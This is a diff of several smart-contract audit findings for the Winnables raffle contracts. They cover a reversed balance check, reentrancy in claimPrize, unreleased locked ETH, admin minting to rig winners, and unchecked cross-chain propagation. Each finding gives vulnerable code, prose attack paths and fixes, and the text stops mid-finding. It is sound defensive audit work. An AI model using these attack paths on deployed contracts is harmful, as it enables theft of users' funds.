`WinnablesTicketManager.withdrawTokens` function executes `if (amount < balance) revert InsufficientBalance()`, where checking `amount < balance` is a code mistake, in which calling such function can cause `WinnablesTicketManager` contract's fee tokens for sending CCIP messages to become insufficient + +### Summary + +After some LINK tokens are accidentally sent to the `WinnablesTicketManager` contract, the admin needs to call the `WinnablesTicketManager.withdrawTokens` function to recover these accidentally sent LINK tokens. However, since the `WinnablesTicketManager.withdrawTokens` function executes `if (amount < balance) revert InsufficientBalance()`, all of the LINK tokens held by the `WinnablesTicketManager` contract must be transferred out from itself for successfully calling the `WinnablesTicketManager.withdrawTokens` function. This causes the `WinnablesTicketManager` contract's fee tokens for sending CCIP messages through the router to be insufficient, which blocks such CCIP messaging from being completed. + +### Root Cause + +The `WinnablesTicketManager.withdrawTokens` function executes `if (amount < balance) revert InsufficientBalance()`, where checking `amount < balance` is a code mistake. + +### Internal pre-conditions + +1. Some LINK tokens are accidentally sent to the `WinnablesTicketManager` contract. + +### External pre-conditions + +Not applicable + +### Attack Path + +1. The admin calls the `WinnablesTicketManager.withdrawTokens` function for recovering these LINK tokens accidentally sent to the `WinnablesTicketManager` contract. +2. Since the `WinnablesTicketManager.withdrawTokens` function executes `if (amount < balance) revert InsufficientBalance()`, the admin has to call this function with the `amount` input equaling the `WinnablesTicketManager` contract's LINK balance. +3. All of the LINK tokens held by the `WinnablesTicketManager` contract are transferred out from such contract. +4. The `WinnablesTicketManager` contract's fee tokens for sending CCIP messages through the router become insufficient so such CCIP messaging cannot be completed. + +### Impact + +In order to recover the LINK tokens accidentally sent to the `WinnablesTicketManager` contract, all of the LINK tokens held by the `WinnablesTicketManager` contract must be transferred out from itself through calling the `WinnablesTicketManager.withdrawTokens` function. This causes the `WinnablesTicketManager` contract to lack fee tokens for sending CCIP messages through the router so such CCIP messaging cannot be done. + +### PoC + +Because the `WinnablesTicketManager.withdrawTokens` function executes `if (amount < balance) revert InsufficientBalance()`, calling it with the `amount` input being less than the `WinnablesTicketManager` contract's balance of the `tokenAddress` token always reverts. + +Therefore, whenever the admin needs to withdraw LINK tokens that are accidentally sent to the `WinnablesTicketManager` contract, such admin has to call the `WinnablesTicketManager.withdrawTokens` function with the `amount` input equaling the `WinnablesTicketManager` contract's LINK balance, which transfers all of the LINK tokens held by the `WinnablesTicketManager` contract out from itself. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L290-L297 +```solidity + /// @notice (Admin) Withdraw Link or any ERC20 tokens accidentally sent here + /// @param tokenAddress Address of the token contract + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +@> if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` + +### Mitigation + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L295 can be updated to the following code. + +```solidity + if (amount > balance) revert InsufficientBalance(); +``` \ No newline at end of file diff --git a/001/293.md b/001/293.md new file mode 100644 index 0000000..b2b6b7a --- /dev/null +++ b/001/293.md @@ -0,0 +1,94 @@ +Rich Marigold Swan + +High + +# [High] Refunding users from a cancelled raffle doesn't decrease the _lockedETH in WinnablesTicketManager.sol + +## Summary + +Users can enter a raffle and if it reaches the necessary requirements for drawing, a winner is picked and the ETH spent for buying tickets is released [`_lockedETH -= raffle.totalRaised`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L343) so the admin - one who has onlyRole(0) - can withdraw the ETH used to pay for entry with[`withdrawETH`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300) function. That function only lets the admin withdraw the balance - _lockedETH: + +```solidity +balance = address(this).balance - _lockedETH; +``` + +If a raffle doesn't reach the necessary requirements it's cancelled and the users can be refunded their ETH for buying the tickets. But that ETH isn't decreased from `_lockedETH` + +## Vulnerability Details + +If a raffle doesn't reach the necessary requirements it's cancelled and the users can be refunded their ETH for buying the tickets in [`refundPlayers` function](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215). But that ETH isn't decreased from `_lockedETH` which leads to mismatch between the funds that are locked and can't be withdrawn by the admin and the funds that actually are free to be withdrawn, which can lead to funds being locked forver and admin unable to withdraw the ETH from tickets sales. + +## Impact + +High + +## Code Snippet +```solidity + +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } + +function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } + +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } + +``` + +## Tool used + +Manual Review + +## Recommendation +When refunding players, decrease _lockedETH with the amount that was refunded: + +`_lockedETH -= amountToSend` + + +```solidity + +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _lockedETH -= amountToSend; + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } + +``` diff --git a/001/295.md b/001/295.md new file mode 100644 index 0000000..46a7497 --- /dev/null +++ b/001/295.md @@ -0,0 +1,88 @@ +Lone Aquamarine Ram + +High + +# Reentrancy in claimPrize due to update state after send ETH + +### Summary + +In the `claimPrize` function, a reentrancy vulnerability can occur if Ether (ETH) is sent to the winner before updating the contract's internal state to mark the prize as claimed. + +### Root Cause + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); //@audit Reentrancy !! + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +The contract allows users to participate in raffles with different types of prizes: NFTs, tokens, or ETH. + When a winner claims their ETH prize, the contract sends the ETH to the winner's address. + +If the contract sends ETH to the winner before updating the internal state to mark the prize as claimed, a malicious winner could exploit the contract by calling the claimPrize function again (or through another function that interacts with the contract) before the state is updated. + +### Internal pre-conditions + +user call `claimPrize` . + +L118: `_sendETHPrize(_ethRaffles[raffleId], msg.sender);` send ether to user before update `rafflePrize.status` + +L122:`rafflePrize.status = RafflePrizeStatus.CLAIMED;` + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +lose of fund. + +### PoC + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); //@audit Reentrancy !! + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105C5-L124C6 + +### Mitigation + +Use Reentrancy Guards: Implement a reentrancy guard (e.g., OpenZeppelin's nonReentrant modifier) \ No newline at end of file diff --git a/001/297.md b/001/297.md new file mode 100644 index 0000000..9f68799 --- /dev/null +++ b/001/297.md @@ -0,0 +1,57 @@ +Blunt Smoke Crane + +Medium + +# Admin withdrawals of ERC20 tokens can be DOSed by a malicious user + +### Summary + +In the ``WinnablesTicketManager.sol`` contract the admin should always have some LINK tokens deposited in order to pay for the CCIP messages that are sent from the contract. The contract implements the [withdrawTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297) function to allow the admin to withdraw some ERC20 tokens from the contract if he decides to. However there is an incorrect check in the [withdrawTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297) function: +```solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` +As can be seen from the code snippet above, if the admin tries to withdraw an amount of ERC20 tokens that is less than the contract balance the function will revert. This can be exploited by a malicious user, who can see that the admin has called the [withdrawTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297) function and frontruns his transaction and sends 1 WEI of LINK token to the contract, this way the [withdrawTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297) function will revert, and the admin won't be able to withdraw the funds he has deposited in the ``WinnablesTicketManager.sol`` contract. Frontruning is possible on Avalance. + +### Root Cause + +Wrong amount check in the [withdrawTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297) function. + +### Internal pre-conditions + +1. Admin has deposited some amount of LINK tokens in the ``WinnablesTicketMangaer.sol`` contract +2. He wants to withdraw the LINK tokens from the ``WinnablesTicketMangaer.sol`` contract as there is no longer demand for raffles. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Admin deposits 10_000 LINK tokens in the ``WinnablesPrizeManager.sol`` contract. +2. There are a several raffles held, but there is no longer demand for raffles and the admin decides to withdraw the LINK tokens he has previously deposited in the ``WinnablesPrizeManager.sol`` contract. Lets say that there are 9_998 LINK tokens left in the contract. +3. A malicious user sees the admin call to the [withdrawTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297) function in the mempool, and frontruns it depositing a single WEI of LINK token to the contract. +4. The [withdrawTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297) function will revert, and the admin won't be able to withdraw the LINK tokens, the malicious actor can perform this attack as many times as he wishes, essentially locking the LINK tokens in the ``WinnablesPrizeManager.sol`` contract. Note that gas on Avalance is cheap. + +### Impact + +The admin can't withdraw the LINK tokens that are left in the ``WinnablesTicketManager.sol`` contract, or any other type of ERC20 tokens, that have some dollar value. This may result in a loss of tens of thousands of dollars for the admin. As of writing the report the cost of 1 LINK is around 10 dollars. + +### PoC + +_No response_ + +### Mitigation + +Change the following check from +```solidity +if (amount < balance) revert InsufficientBalance(); +``` +to +```solidity +if (amount > balance) revert InsufficientBalance(); +``` diff --git a/001/300.md b/001/300.md new file mode 100644 index 0000000..7b0948c --- /dev/null +++ b/001/300.md @@ -0,0 +1,74 @@ +Lucky Hickory Hornet + +High + +# Reentrancy within claimPrize allows multiple claim. + +## Summary +Malicious winners can claim multiple when raffletype is ETH + +## Vulnerability Detail +raffle winners can claim their prize using `claimPrize()` the issue is that when the claim reward is ETH it exposes the protocol to reentrancy since the user can utilize the callback. +```solidity + function claimPrize(uint256 raffleId) external {//@audit anyone can steal and a price + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender);//@audit reentrancy at this point + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +Since `_ethLocked` can contain eth from other raffle draws, a malicious winner can drain the ETH locked for does draw as well. + +## Impact +ETH locked for other raffle can be drained + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L118 +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L315 +```solidity +function _sendETHPrize(uint256 amount, address winner) internal { + (bool success, ) = winner.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` +## Tool used +Manual Review + +## Recommendation +Reset `ethRaffles[raffleId]` to zero before calling `_sendETHPrize()` or add reentrancy guard modifier from openzepplin to claimPrize() function. \ No newline at end of file diff --git a/001/303.md b/001/303.md new file mode 100644 index 0000000..a9df64c --- /dev/null +++ b/001/303.md @@ -0,0 +1,72 @@ +Blunt Smoke Crane + +High + +# Admin can easily break core protocol invariants and affect the odds of a raffle winner + +### Summary + +In the readme of the contest it is specifically stated that admins are not fully trusted: *Admins cannot affect the odds of a raffle* & *The existence of max ticket supply and max holdings however guarantees a minimum level of fairness in that raffle participants can be sure that by purchasing tickets, they have a hard minimum odds of winning equal to numberOfTicketsPuchased / totalTicketSupply.* The minimum level of fairness however is not strictly enforced in the [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function. An admin has role 0, and he can give role 1 (which is the minter role) to whomever he wishes. When a raffle is fully set up by an admin via the [createRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274) function, parameters such as **raffle.maxTicketSupply** and **raffle.maxHoldings** are set to guarantee that users who bought tickets have a fair chance of winning the raffle, no matter how much NFTs are minted by the admin, or another account the admin has given role 1. As can be seen the [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function doesn't enforce this restrictions: +```solidity + function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + if (to == address(0)) { + revert TransferToAddressZero(); + } + address operator = msg.sender; + uint256 startId = _supplies[id]; + + unchecked { + _balances[id][to] += amount; + _supplies[id] = startId + amount; + } + + _ticketOwnership[id][startId] = to; + emit NewTicket(id, startId, amount); + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount); + } +``` +The **raffle.maxTicketSupply** and **raffle.maxHoldings** are of type **uint32**, so the max number of minted tickets is expected to be **4294967295**. However a minter can mint up to **type(uint256).max** ticket NFTs by directly calling the [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function. This breaks the fairness invariant of the protocol. Secondly when a raffle is drawn first the [drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329) function is called in order to request a random word from Chainlink VRF. When the [drawWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329) function is called, the status of the raffle is set to **REQUESTED**, and users can no longer mint NFTS via the [buyTickets()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210) function. The VRFCordinator then calls the [fulfillRandomWords()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L350-L361) function when he is ready with the answer. However the winner of the raffle is not set when the VRFCordinator calls the [fulfillRandomWords()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L350-L361) function. The winner of the raffle is set when [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) is called which internally calls the [_getWinnerByRequestId()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472-L477) function: +```solidity + function _getWinnerByRequestId(uint256 requestId) internal view returns(address) { + RequestStatus storage request = _chainlinkRequests[requestId]; + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId); + uint256 winningTicketNumber = request.randomWord % supply; + return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, winningTicketNumber); + } +``` +Once the VRF request is fulfilled, the admin can read from the blockchain the random word returned from the VRFCordinator and calculate which NFT ID is going to be the winner of the raffle +```solidity +uint256 winningTicketNumber = request.randomWord % supply; +``` +The admin (or minter controller by the admin) can mint additional NFTs to increase the supply and thus change the winner. In most cases the admin will be able to set the winningTicketNumber to an NFT he owns. Keep in mind that users can only mint up to **4294967295** NFTs, and the admin can mint up to **type(uint256).max** which is much bigger number. This breaks the core protocol invariant that the admin shouldn't affect the odds of a raffle, and effectively steals funds from the users who bought tickets. + +### Root Cause +Restrictions set by the admin when creating the raffle via the [createRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274) function, such as **raffle.maxTicketSupply** and **raffle.maxHoldings** are not enforced in the [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function. The admin can continue to mint NFTs even after the raffle has been drawn. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path +I have used smaller numbers to better illustrate the severity of this vulnerability +1. Three different users buy 1 ticket each, now there are NFTs with IDs 0, 1, 2 and supply is 3, the returned random word is 10 +2. The admin sees that the VRFCordinator has responded with a random word and calculates that *10 % 3 = 1*, so the winner of the raffle should be the owner of the NFT with ID 1. +3. The admin calls the [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function, and mint 4 NFTs to an address he controls, now the NFT IDs are 0, 1, 2, 3 and the supply is 7. +4. The admin has changed the winner of the raffle *10 % 7 = 3*, now the winner is the owner of NFT with ID 3, which is owned by an address that is controlled by the admin. The admin now calls the [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function, to propagate the winner to the ``WinnablesPrizeManager.sol`` contract. The [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function is permissionless and anybody can call it, but the admin can fronturn the call and first mint the required numbers of NFTs to manipulate the winner of the raffle if needed. + +### Impact +Core invariants of the protocol can be easily broken, and in most cases a malicious admin can effectively steal funds from the users who bought tickets. When the winner of a raffle is propagated to the ``WinnablesPrizeManager.sol`` contract, the admin can withdraw the proceeds from users buying tickets, and when an address he controls claims the prize that the admin staked when creating the raffle, users of the protocol are left with nothing, thus the high severity. + +### PoC + +_No response_ + +### Mitigation + +Enforce the restrictions set by the admin when creating the raffle via the [createRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274) function, in the [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function. Also check what is the raffle status, if it is different than IDLE don't allow for any more mints. \ No newline at end of file diff --git a/001/307.md b/001/307.md new file mode 100644 index 0000000..f093778 --- /dev/null +++ b/001/307.md @@ -0,0 +1,52 @@ +Hollow Watermelon Beaver + +Medium + +# users with account abstraction wallet may loose their prize . + +### Summary + +Current design of the protocol assumes users to have the same address in avalanche and Ethreum and releases the winning pot to winner in eth chain . But thats not the case for account abstraction wallets . Account abstraction wallets may have different addresses in different chains . If this is the case for an winner of a raffle , he will lose his winning prize . + +### Root Cause +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + @> _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } + +``` +`winner` here is the address of winner in Avalanche chain and the winning prize is now claimable for `winner ` in Ethereum chain . User having an account abstraction wallet will lose all of his prize if he have different addresses in Avalanche and Ethereum chain . + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +User needs to have an account abstraction wallet which is pretty common . + +### Attack Path + +_No response_ + +### Impact + +Winner will lose all of his winning prize and funds will be stuck in the contract forever . + +### PoC + +_No response_ + +### Mitigation + +Put an additional `to` field of prize receiving address in ethereum chain while buying tickets . \ No newline at end of file diff --git a/001/308.md b/001/308.md new file mode 100644 index 0000000..8ef46a5 --- /dev/null +++ b/001/308.md @@ -0,0 +1,80 @@ +Sweet Punch Hyena + +High + +# Potential Reentrancy Vulnerability in `claimPrize` Function When Handling ETH Prizes + +## Summary +The `claimPrize` function in the WinnablesPrizeManager contract is vulnerable to a reentrancy attack when dealing with ETH prizes. This vulnerability could allow an attacker to claim an ETH prize multiple times, potentially draining the contract of more ETH than intended. + +## Vulnerability Detail + +When `raffleType == RaffleType.ETH`, the `claimPrize` function calls `_sendETHPrize`, which uses a low-level `call` to transfer ETH to the winner. This external call occurs before the `rafflePrize.status` is updated to `CLAIMED`. As a result, a malicious contract could re-enter the `claimPrize` function and trigger it again, claiming the prize multiple times before the state is updated. + + +## Impact +An attacker could exploit this vulnerability to: +1. Claim the same ETH prize multiple times. +2. Drain the contract of more ETH than they are entitled to. +3. Potentially empty the contract of all its ETH if the prize amount is significant. + +This could lead to substantial financial losses for the protocol and other legitimate winners. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L116-L118 +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + // ... NFT logic ... + } else if (raffleType == RaffleType.TOKEN) { + // ... Token logic ... + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +} +``` + +## Tool used +Manual Review + +## Recommendation +To mitigate this vulnerability, implement the following changes: + +1. Reorder the function to follow the Checks-Effects-Interactions pattern: + - Perform all checks first (winner validity, claim status). + - Update the contract state (set status to CLAIMED, update `_ethLocked`). + - Perform the ETH transfer last. + +2. Consider using OpenZeppelin's `ReentrancyGuard` for additional protection. + +Here's an example of how the function could be restructured: + +```solidity +function claimPrize(uint256 raffleId) external nonReentrant { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + + rafflePrize.status = RafflePrizeStatus.CLAIMED; + + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + // ... NFT logic ... + } else if (raffleType == RaffleType.TOKEN) { + // ... Token logic ... + } else if (raffleType == RaffleType.ETH) { + uint256 amount = _ethRaffles[raffleId]; + unchecked { _ethLocked -= amount; } + _sendETHPrize(amount, msg.sender); + } else revert InvalidRaffle(); + + emit PrizeClaimed(raffleId, msg.sender); +} +``` \ No newline at end of file diff --git a/001/310.md b/001/310.md new file mode 100644 index 0000000..ecff35b --- /dev/null +++ b/001/310.md @@ -0,0 +1,139 @@ +Zesty Peanut Pony + +High + +# Irreversible State Change Due to Incorrect Parameters in Cross-Chain Winner Propagation + +### Summary + +The `propagateRaffleWinner` function in the TicketManager contract is external and vulnerable to irreversible state changes if called with incorrect `chainSelector` or `prizeManager` address parameters. This can lead to a situation where the raffle is marked as completed on the TicketManager, but the winner information never reaches the PrizeManager, potentially leaving prizes unclaimed and the system in an inconsistent state. + +### Root Cause + +In (https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334), The function updates the local state (marking the raffle as `PROPAGATED` and decreasing _lockedETH) before ensuring the CCIP message is successfully sent to the right address. +There's no validation of the chainSelector or prizeManager address parameters, allowing calls with incorrect values that will fail to reach the intended PrizeManager contract. + +### Internal pre-conditions + +1. A raffle must have a winner drawn (status FULFILLED). +2. The `propagateRaffleWinner` function must be callable by any address (no access control). + +### External pre-conditions + +Malicious Person will call the function using his own adress for `prizeManager` and `chainSelector`. + + +### Attack Path + +1. A raffle concludes, and a winner is drawn (status set to FULFILLED). +2. An actor (malicious or mistaken) calls propagateRaffleWinner with incorrect chainSelector or his own malicious prizeManager address. +3. The TicketManager updates the raffle status to PROPAGATED. +4. The _lockedETH is decreased by the raffle's totalRaised amount. +5. The CCIP message is sent but fails to reach the correct PrizeManager due to incorrect parameters. +6. The raffle is now in a PROPAGATED state on TicketManager, but PrizeManager never receives the winner information. +7. There's no mechanism to revert this state or retry the winner propagation because the function will revert due to status being PROPAGATED and not FULFILLED . + +### Impact + +1. The 